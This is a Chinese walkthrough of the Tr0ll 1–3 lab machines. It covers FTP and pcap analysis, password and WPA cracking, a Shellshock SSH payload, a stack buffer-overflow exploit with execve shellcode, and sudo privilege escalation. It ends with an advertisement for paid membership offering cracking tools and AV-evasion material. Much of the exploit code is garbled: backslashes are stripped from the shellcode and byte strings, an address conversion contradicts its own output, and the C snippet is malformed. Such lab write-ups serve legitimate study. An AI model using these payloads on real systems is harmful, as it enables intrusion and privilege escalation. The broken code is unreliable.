Tr0ll系列提权教程,Tr0ll 靶机全系列(1-3)

Tr0ll 靶机全系列(1-3)

Tr0ll level 1

本文主要是利用了ftp匿名登录

image-20241224010611985

允许匿名登录

image-20241224010638152

再看看网页的东西

image-20241224001734622

插件看到一个phpmyadmin数据库管理器

image-20241224002150291

但是目录扫描的结果中没有任何phpmyadmin相关的东西

image-20241224010726794

只有这两个撒比图片

image-20241224010907581还有一个robots.txt

image-20241224011011653

那么只能使用刚刚nmap扫描出来的ftp匿名登录了,密码为空即可登录目标ftp服务器

image-20241224011156563

有一个lol.pcap流量包,我们使用大鲨鱼打开看看,下面是ftp下载的命令

image-20241224012339704

用大鲨鱼打开,赛选ftp的协议,可以看到登录ftp的账号密码 anonymous / password

image-20241224012511274

流量分析

这里服务器使用了syst命令,查看系统信息

image-20241224014840581

215 :这是一个状态码,表示请求成功。

UNIX Type:L8 :这是服务器的操作系统类型

image-20241224030049793

PORT 10,0,0,12,173,198 (让服务端连接客户端的44486端口)

为什么是44486端口?

先观察这6位数,前四个和ip地址很像,说明这就是IP地址,实际的数据交互的端口应该是后面两个数构成。

这里是用第五个数乘以256 再加上第六个数,这时候就得到了实际的端口号(173×256+198=44486)

image-20241224030418018

响应结果为 command successful. Consider using PASV.

继续分析

命令 LIST (命令用于列出指定目录中的子目录和文件信息,如果没有指定目录的名字就默认列出当前目录下的所有子目录和文件信息,并返回给客户端。),红框中是返回结果,是有一个文件的

image-20241224031513413

命令:TYPE I (I 文件传输类型为二进制 ; A 文件传输类型为ASCII)
返回结果: Switching to Binary mode.

image-20241224033154477

和刚刚一样的命令:PORT 10,0,0,12,202,172 (客户端请求服务端,让服务端连接客户端51884端口)
返回值:PORT command successful. Consider using PASV.

image-20241224033254849

命令:RETR secret_stuff.txt (下载secret_stuff.txt)
返回值:Well, well, well, aren’t you just a clever little devil, you almost found the sup3rs3cr3tdirlol 😛
Sucks, you were so close… gotta TRY HARDER!
好吧,好吧,好吧,你不就是个聪明的小恶魔吗,你差点就找到了sup3rs3cr3tdirlol:-P
太糟糕了,你离得太近了……要更加努力!

image-20241224033356732

再自己找找,找到网页上来了,这里有一个二进制文件

image-20241224033544473

下载下来看看

image-20241224033755376

让我们找到这个 0x0856BF 这个地址,继续

Find address 0x0856BF to proceed

image-20241224033850469

good_luck文件夹中

image-20241224033916868

this_folder_contains_the_password文件夹

image-20241224034200670

我们使用海德拉爆破,这里很奇葩,密码为 Pass.txt 密码文件名称就是ssh的密码,指定密码文件那个笑脸,都是错误的

image-20241224035127441

切换终端,收集内核信息,ubuntu版本很低,很大可能存在内核提权漏洞

image-20241224035400124

符合条件的两个,一个是c文件

image-20241224035727429

把他复制到当前目录下,尝试编译,本地不行,放到靶机上去

image-20241224040141210

提权成功

image-20241224040125712

防止ftp匿名登录

在 FTP 服务器(如 vsFTPd、ProFTPD 等)上配置匿名登录通常涉及以下步骤:

  1. 编辑配置文件:找到 FTP 服务器的配置文件(例如 /etc/vsftpd.conf)。

  2. 启用匿名访问:确保以下配置项被设置为拒绝匿名访问:
    plaintext anonymous_enable=NO

  3. 设置匿名用户的根目录:指定匿名用户可以访问的目录:plaintext

    anon_root=/path/to/anonymous/directory ```
  4. 重启 FTP 服务:保存配置后,重启 FTP 服务以使更改生效:

    sudo systemctl restart vsftpd

level 2

主机发现,80探测

image-20241225014511262

image-20241225122303182

端口syn扫描,没有啥利用信息了

image-20241225014613626

和上一关一样,使用ftp匿名登录试试,失败

image-20241224234048334

目录扫描

image-20241225122407532

访问robots.txt

image-20241225122502801

noob,keep_trying,dont_bother,ok_this_is_it

都是这个母老虎

image-20241225122654010

源码What did you really think to find here? Try Harder!,这几个母老虎的源码都是这个提示

image-20241225123036952

返回主页,查看源码

image-20241225123158630

登录失败

image-20241225123442524

普通ftp用户不行,那就换作者的Tr0ll,账号密码都是Tr0ll

image-20241225124411431

目录枚举,下载下来

image-20241225124502060

尝试各种方法后,也找不到这个密码

image-20241225125517841

那么只剩下一个方法了,从这两个图片入手

image-20241225125822896

image-20241225125838671

下载就行

image-20241225184334108

这里下载的是这张图片

image-20241225184907450

这张图片啥也没有

image-20241225184921945

仔细分析图片的路径就能清楚了

image-20241225185504770

然后根据robots的路径,找到如下图片

http://192.168.111.191/dont_bother/cat_the_troll.jpg

最终找到一个消息

image-20241225185335409

Look Deep within y0ur_self for the answer(从 y0ur_self 处寻找答案),回到网页

image-20241225185803073

泄露了一个密码字典

image-20241225185820391

爆破(apt install fcrackzip)

image-20241225191653746

失败的,就不等了

image-20241225191406589

看样子是base64的一个编码,我们去解码一下

image-20241225190758947

用base -d解码这个文件,并重定向到pass.txt中

image-20241225191222272

然后再爆破,找到了zip的密码

ItCantReallyBeThisEasyRightLOL

image-20241225191631793

一个ssh密匙,RSA

image-20241225191800218

有了密匙,就可以登录服务器了,不支持互相签名(就是不让你登录)

image-20241225192342671

提示了sign_and_send_pubkey: no mutual signature supported,表示SSH连接时,客户端和服务器之间无法就公钥认证使用的签名算法达成一致。此时我们要加上一个 -o 参数

ssh -i noob -o "PubkeyAcceptedKeyTypes=ssh-rsa" noob@192.168.111.191

image-20241225222302743

不让登录,平时的利用方式就没有了,这里有一个shellshock env环境变量绕过ssh的漏洞

Shellshock,又称Bashdoor,是Unix中广泛使用的BashShell中的一个安全漏洞,首次于2014年9月24日公开。shellshock Bash漏洞利用CVE-2014-6271被利用!

image-20241225203231717

关键字Shellshock,Remote(远程)因为我们有了私匙,只能进行远程的漏洞利用

image-20241225223637899

第一个payload,这是一个正反向连接的payload,看到一个SSH-2.0,,,,,目前收集到的信息,大概率不是这个

image-20241225233504930

搜第二个,msf的脚本

image-20241225233113901

貌似是可以执行命令的

image-20241225235600063

这时候可以利用ssh执行命令测试

image-20241226000357781

成功了,内网信息收集,低版本的系统

image-20241226000700066

筛选出了这个结果

image-20241226000910427

使用方法

image-20241226001914032

我们的靶机,一个23,一个29,很明显,不适用

image-20241226001951364

已经替你们试过了

image-20241226002039814

查找指定用户的文件,也没有利用方式

image-20241226002726350

回家的路

image-20241226002857786

SUID

image-20241226002342726

suid提权一个个找呗(啥利用方式也没有)

image-20241226002326407

有这些东西

image-20241226214633052

切换根目录

image-20241226003011055

image-20241226002950219

看到三个门

image-20241226003036284

第一个门,自动重启了。。。。。

image-20241226003233450

两分钟的困难模式,就是不让我输入命令了,把我给锁了两分钟。。。。

image-20241226003348336

查看信息,三个门都是root的文件

image-20241227031949889

这里要用到一个工具GDB,全名叫做(GNU Debugger)是一个强大的开源调试器,主要用于调试编写在 C、C++、Fortran 等编程语言中的程序。

显示给定函数(main)的反汇编代码,main函数一般是一个程序中的主函数

disas main 

door3

image-20241227032559066

door2

image-20241227032851104

door1

image-20241227032911609

发现了第二个door可能存在缓冲区溢出的漏洞,strcpy 函数详细

image-20241227032939965

这里我们要用到msf自带的插件了,生成1024个字符(也可以不是1024,500,100都可以),用于测试程序是否存在缓冲区溢出漏洞

cd /usr/share/metasploit-framework/tools/exploit
./pattern_create.rb -l 1024

image-20241227181733132

在gdb中执行r00t文件,我们可以看到缓冲区溢出在 0x6a413969 这个位置

run 你生成的1024个字符

Program received signal SIGSEGV, Segmentation fault.
程序接收到SIGSEGV信号,出现了分段故障,存在漏洞

image-20241227181935878

使用msf的pattern_offset.rb反查 6a413969 对应上面的字符中的偏移量,为268

image-20241227182245154

查找ESP栈的溢出地址,有了偏移量,就可以知道栈空间大小占据空间位置,接下来就要找跳板地址ESP,就可以跳到恶意代码shellcode的位置

跳板地址:攻击者会在溢出数据后添加返回地址(即跳板地址),希望程序在执行到这条返回指令时能跳转到覆盖的恶意代码位置,从而执行攻击者的代码。

print 写入 268 个A和4个B

问:为什么是 4 个 B 而不是 2 个或 6 个?

因为返回地址在 x86 上通常是 4 字节,使用 4 个字符(B)正好填满这一字节,每个 B 对应一个字节。

如果只使用 2 个 B(即 2 字节),返回地址将没有被完全覆盖。

而使用6个,会多于所需的字节数,但仍会覆盖返回地址。不过,这样的做法没有必要,因为多余的 B 不会提供任何额外的好处,只是冗余。

r $(python -c 'print "A"*268 + "B"*4')   # 在GDB调试工具中 r表示启动调试当前程序
info r # 分析程序调试过程中的状态,在检查程序崩溃、调试函数调用及访问变量时,经常使用,前面已经有一个错误Program received signal SIGSEGV, Segmentation fault.,所以可以直接使用info r查看寄存器状态

起始的 esp 内容

image-20241227183508292

在生成的字符后面再添加几个字符,执行以后看一下缓冲区溢出的 esp 内容

image-20241227185200696

返回了一个新的地址

结论:我们要构造268个字符偏移量,将esp位置放在268个字符之后,这样esp位置就存在了返回的栈里,并在esp字符之后加入shellcode,这样完成了对缓冲区溢出的利用。

python代码将 0xbffffb80 起始的esp地址转化为十六进制字节序列的形式

address = 0xbffffb80
byte_sequence = address.to_bytes(4, byteorder='little')
hex_representation = ''.join(f'\x{byte:02x}' for byte in byte_sequence)
print(hex_representation) # x80xfbxffxbf

查看内核信息

image-20241227212112388

x86系统

如果输出是 x86_64,则表示你在使用 64 位系统(x64)。

如果输出是 i686i386,则表示你在使用 32 位系统(x86)。

Shell-Storm 搜索关键字获取shellcode,x86 – execve

https://shell-storm.org/shellcode/index.html

execve:表示可执行文件的意思

image-20241227212748996

然后我们需要的是shellcode,所以关键字就是,execve、x86、shellcode,就能定位到这个,中间的哪个表示需要执行的命令也就是获取一个shell

image-20241227213244966

这下就能组成一个payload了

./r00t $(python -c 'print "A"*偏移量 + "esp起始地址" + "nop sled"*20 + "shellcode"')

./r00t $(python -c 'print "A"*268 + "x80xfbxffxbf" + "x90"*20 + "x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1xb0x0bxcdx80"')

nop sled
是一种可以破解栈随机化的缓冲区溢出攻击方式

栈随机化指运行时栈的起始地址为随机的,所以我们存放shellcode的esp的地址也会发生对应的改变

在shellcode前注入很长的 nop(x90) 指令 (无操作,仅使程序计数器加一)序列,

程序计数器逐步加一,直到到达攻击代码的存在的地址

image-20241227213747063

提权成功

另外这个esp起始地址一定是要固定不变的吗?

我们把他修改为返回后的esp地址也就是0xbffffb50,之前是0xbffffb80,上python代码(这个脚本可以保存好,经常要用)

address = 0xbffffb80
byte_sequence = address.to_bytes(4, byteorder='little')
hex_representation = ''.join(f'\x{byte:02x}' for byte in byte_sequence)
print(hex_representation) # x50xfbxffxbf

而我修改了这个nop sled数量为400个,照样也是可以提权的

./r00t $(python -c 'print "A"*偏移量 + "esp其他地址" + "nop sled"*400 + "shellcode"')
./r00t $(python -c 'print "A"*268 + "x50xfbxffxbf" + "x90"*400 + "xbax19xb3xb8x79xdbxdexd9x74x24xf4x5dx29xc9xb1x0bx31x55x15x83xedxfcx03x55x11xe2xecxd9xb3x21x97x4cxa2xb9x8ax13xa3xddxbcxfcxc0x49x3cx6bx08xe8x55x05xdfx0fxf7x31xd7xcfxf7xc1xc7xadx9exafx38x41x08x30x10xf6x41xd1x53x78"')

image-20241227224933703

这个案例就证明只要nop sled枚举的地址足够多,成功几率还是很大的,接下来是level 3

level 3

image-20241228193929123

主机发现,直接连接就行了,start:here

image-20241228194825173

image-20241228194844200

suid

image-20241228194938106

常规信息收集

image-20241228200129662

sudo

image-20241228200414866

0777文件:表示一个文件或目录完全开放,任何用户都可以读取、修改和执行它。

find / -type f -perm 0777 2>/dev/null

image-20241228201541211

这里有一个cap文件(可以用wireshark工具打开),这不是常规的数据包,802.11跟无线协议的关系很大

image-20241228202422251

这像是一个字典

image-20241228203440930

把他用上

image-20241228203407019

这里要用到一个工具 aircrack-ng,

Aircrack-ng :是一个用于无线网络安全审计的开源工具套件,专门用于评估和测试 Wi-Fi 网络的安全性。它广泛用于网络安全研究、渗透测试和网络监控。该工具套件包括一系列功能强大的工具,可以帮助用户捕获流量、破解 WEP 和 WPA/WPA2 密码、以及进行网络攻击等。

爆破密码试试

Tips:有Wi-Fi网络的握手数据包,就可以在离线情况下进行密码破解,无需与你的设备直接连接该网络。

aircrack-ng -w gold_star.txt wytshadow.cap

image-20241228203807122

有了文件名称和密码gaUoCe34t1,去看看有没有这个用户wytshadow

image-20241228204118325

密码正确

image-20241228204222875

继续信息收集,可以看到有一个nginx的服务文件可以用

sudo -l

image-20250102184333334

启动这个nginx

image-20250102184859724

查看默认的配置信息,监听的是8080端口

image-20250102230432634

查看端口信息

image-20250102230546085

curl用不了

image-20250102225118614

那么就用本机访问

image-20250102225201569

这里要用到一个工具,lynx,默认kali是没有的

lynx:是一个文本模式的网页浏览器

sudo apt-get install lynx

image-20250103014048458

image-20250103014056957

此时我们就得到了一组数据genphlux:HF9nd0cR!,那么久查看一下是否有这个用户

image-20250103014157128

之前那个是nginx,现在是apache文件了

image-20250103014304793

image-20250103014443011

查看默认开启的端口(apache的启动端口)

image-20250103014514182

查看是否启动成功

image-20250103014607134

80开启成功了,但是没有任何信息,只有一个403

image-20250103014715162

此时可以返回去看配置文件,有一个allow from 127.0.0.1

image-20250103014854125

查看是否存在curl和wget,来访问本地的服务(127.0.0.1)

image-20250103015203002

image-20250103015147563

fido:x4tPl!,但是呢鉴权失败了

image-20250103015425260

回家的路上,看到了两个文件,一个ssh私匙

图片[125]-Tr0ll系列提权教程,Tr0ll 靶机全系列(1-3)-泷羽Sec

这里搜集了半天,找到一个viminfo中有一个密码信息 B^slc8I$

image-20250103020656619

尝试sudo

image-20250103020748431

sudo成功了,再看看权限,可以读写!还可以sudo

image-20250103020939359

写一个c文件

init main()
{
    system('/bin/bash');
}

image-20250103021250968

这里出现一个编译错误,说我们使用了一个隐式的函数system,需要我们加上一个参数

gcc -o dont_even_bother test.c -Wno-implicit-function-declaration

image-20250103021324986

image-20250103021450072

总结

level 1主要使用的是ftp匿名登录,和低版本操作系统的内核提权

level 2 通过页面上的图片信息,使用strings查看图片信息,有一个信息泄露,得到zip密码信息后,使用fcrackzip对压缩包文件进行一个暴力破解,命令如下

fcrackzip -D -p pass.txt -u lmao.zip

然后就是Bashdoor(bash之门漏洞),命令如下

ssh -i noob -o "PubkeyAcceptedKeyTypes=ssh-rsa" noob@192.168.111.191 -t "() { :;}; /bin/bash"

最后就是缓冲区溢出漏洞,如何判断?看函数信息就可以了,需要一个调试工具gdb,还有msf的一个接口,常用命令

gdb filename # 进入该文件的调试
disas main # 显示main函数的汇编代码
run # 运行当前文件,可简写 r 
# msf接口
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1024 # 表示生成1024个字符
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q [缓冲区溢出的位置,例如(0x6a413969)] -l 1024 # 反查这个溢出的位置的偏移量

一个有用的python脚本,将 0xbffffb80 起始的esp地址转化为十六进制字节序列的形式

address = 0xbffffb80
byte_sequence = address.to_bytes(4, byteorder='little')
hex_representation = ''.join(f'\x{byte:02x}' for byte in byte_sequence)
print(hex_representation) # x80xfbxffxbf

一个有用的shellcode获取地

https://shell-storm.org/shellcode/index.html

level 3 首先就是内网的信息收集,sudo开启nginx,然后使用lynx工具,获取网页信息,得到下一个用户的信息,第二个信息是apache的80端口,但是同样的方法,不会让你用第二次,切换到当前用户根目录,获取到ssh密匙文件,ssh登录即可,登录之后,信息收集需要完善,从viminfo找到密码信息,这个时候就能sudo了,利用可以sudo的文件权限信息,进行提权即可,感谢观看!

广告时间

如果你喜欢水报告,这里有1000多份的src报告,供你学习思路

image-20250103034632951

image-20250103033521757

如果你想要一些源码,这里将有上百套的源码,供你魔改开发属于你自己的软件

image-20250103032449395

如果你需要ppt,那么这里几千份ppt模板,供你选择,搭配上GPT,轻松搞定你的每月汇总

image-20250103033627509

如果你想要做副业,那么这里有几百个网赚项目,让你利用流量变现,每个月可以多几条烟钱(我不抽烟),每年也可以小赚1w+

image-20250103033727755

如果你想要各种破解工具,辱羊毛,不想开会员,那么这里是你最好的选择,还有很多的实用小工具

image-20250103034202772

还有各种的学习资料,包括且不限于渗透测试,python/c++编程,免杀,AI人工智障,逆向,安全开发等互联网资源(如果进了帮会需要百度网盘还请联系我)

image-20250103035215880

如果你想要兼职,那么泷羽Sec提供了一个很好的兼职机会,您邀请一个人进入泷羽Sec帮会,凡是进入本帮会,嘉宾享72%的帮会推广收益,也就是【一次性付费金额0.72】,普通成员享受推广收益的40%也就是【一次性付费金额0.40】

image-20250103035933917

泷羽Sec资料库,现一次性付费99,即可永久进入,加入泷羽Sec帮会,享受各种IT资源,资源持续更新中

帮会推广

感谢支持!

往期推荐

30款burp插件,一键搞定99%的渗透工具!

HTB-Chemistry靶机渗透教程

【渗透测试】linux隐身登录

【渗透测试】DC1~9(全) Linux提权靶机渗透教程,干货w字解析,建议收藏

2024Goby红队版工具分享,附2024年漏洞POC下载

本站内容部分转载于互联网,并不代表本站立场!如若本站内容侵犯了原著者的合法权益,可联系我们进行处理! 拒绝任何人以任何形式在本站发表与中华人民共和国法律相抵触的言论!
THE END
喜欢就支持一下吧
点赞16 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片快捷回复

    暂无评论内容